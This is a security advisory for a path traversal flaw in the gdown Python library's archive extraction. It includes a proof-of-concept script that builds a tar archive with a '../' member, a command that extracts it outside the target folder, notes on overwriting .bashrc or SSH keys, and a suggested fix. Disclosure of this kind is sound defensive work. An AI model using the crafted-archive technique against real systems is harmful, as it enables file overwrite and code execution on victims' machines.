GHSA-76hw-p97h-883f

Suggest an improvement
Source
https://github.com/advisories/GHSA-76hw-p97h-883f
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-76hw-p97h-883f/GHSA-76hw-p97h-883f.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-76hw-p97h-883f
Published
2026-04-14T01:11:30Z
Modified
2026-04-14T01:24:21.987223Z
Severity
  • 6.5 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N CVSS Calculator
Summary
gdown Affected by Arbitrary File Write via Path Traversal in gdown.extractall
Details

Summary

The gdown library (tested on v5.2.1) is vulnerable to a Path Traversal attack within its extractall functionality. When extracting a maliciously crafted ZIP or TAR archive, the library fails to sanitize or validate the filenames of the archive members. This allow files to be written outside the intended destination directory, potentially leading to arbitrary file overwrite and Remote Code Execution (RCE).

Details

The vulnerability exists in gdown/extractall.py within the extractall() function. The function takes an archive path and a destination directory (to), then calls the underlying extractall() method of Python's tarfile or zipfile modules without validating whether the archive members stay within the to boundary.

Vulnerable Code:

# gdown/extractall.py
def extractall(path, to=None):
    # ... (omitted) ...
    with opener(path, mode) as f:
        f.extractall(path=to)  # Vulnerable: No path validation or filters`

Even on modern Python versions (3.12+), if the filter parameter is not explicitly set or if the library's wrapper logic bypasses modern protections, path traversal remains possible as demonstrated in the PoC.

PoC

Steps to Reproduce

  1. Create the Malicious Archive (poc.py):
    import tarfile
    import io
    import os
    
    # Create a target directory
    os.makedirs("./safe_target/subfolder", exist_ok=True)
    
    # Generate a TAR file containing a member with path traversal
    with tarfile.open("evil.tar", "w") as tar:
        # Target: escape the subfolder and write to the parent 'safe_target'
        payload = tarfile.TarInfo(name="../escape.txt")
        content = b"Path Traversal Success!"
        payload.size = len(content)
        tar.addfile(payload, io.BytesIO(content))
    
    print("[+] evil.tar created.")`
    
  2. Execute the Vulnerable Function:
    `python3 -c "from gdown import extractall; extractall('evil.tar', to='./safe_target/subfolder')"`
    
  3. Verify the Escape:
    ls -l ./safe_target/escape.txt
    # Output: -rw-r--r-- 1 user user 23 Mar 15 2026 ./safe_target/escape.txt`
    

Impact

An attacker can provide a specially crafted archive that, when extracted via gdown, overwrites critical files on the victim's system.

  • Arbitrary File Overwrite: Overwriting .bashrc, .ssh/authorized_keys, or configuration files.
  • Remote Code Execution (RCE): By overwriting executable scripts or Python modules within a virtual environment.

Recommended Mitigation

mplement path validation to ensure that all extracted files are contained within the target directory.

Suggested Fix:

import os

def is_within_directory(directory, target):
    abs_directory = os.path.abspath(directory)
    abs_target = os.path.abspath(target)
    prefix = os.path.commonpath([abs_directory])
    return os.path.commonpath([abs_directory, abs_target]) == prefix

# Inside [extractall.py](http://extractall.py/)
with opener(path, mode) as f:
    if isinstance(f, tarfile.TarFile):
        for member in f.getmembers():
            member_path = os.path.join(to, [member.name](http://member.name/))
            if not is_within_directory(to, member_path):
                raise Exception("Attempted Path Traversal in Tar File")
    f.extractall(path=to)
Database specific
{
    "github_reviewed_at": "2026-04-14T01:11:30Z",
    "nvd_published_at": null,
    "severity": "MODERATE",
    "cwe_ids": [
        "CWE-22"
    ],
    "github_reviewed": true
}
References

Affected packages

PyPI / gdown

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
5.2.2

Affected versions

1.*
1.0.0
1.0.1
1.0.2
2.*
2.0.0
2.0.1
2.0.2
2.1.0
2.1.1
2.2.0
2.3.0
2.3.1
3.*
3.0.0
3.1.0
3.2.0
3.2.1
3.2.2
3.2.3
3.2.4
3.2.5
3.3.0
3.3.1
3.3.2
3.4.0
3.4.1
3.4.2
3.4.3
3.4.4
3.4.5
3.4.6
3.5.0
3.6.0
3.6.1
3.6.2
3.6.3
3.6.4
3.7.0
3.7.1
3.7.3
3.7.4
3.8.0
3.8.1
3.8.2
3.8.3
3.9.0
3.9.1
3.10.0
3.10.1
3.10.2
3.10.3
3.11.0rc1
3.11.0
3.11.1
3.12.0
3.12.1
3.12.2
3.13.0
3.13.1
3.14.0
3.15.0
4.*
4.0.0
4.0.1
4.0.2
4.1.0
4.1.1
4.2.0
4.2.1
4.2.2
4.3.0
4.3.1
4.4.0
4.5.0
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.6.6
4.7.0
4.7.1
4.7.2
4.7.3
5.*
5.0.0rc1
5.0.0
5.0.1
5.1.0
5.2.0
5.2.1

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-76hw-p97h-883f/GHSA-76hw-p97h-883f.json"
last_known_affected_version_range
"<= 5.2.1"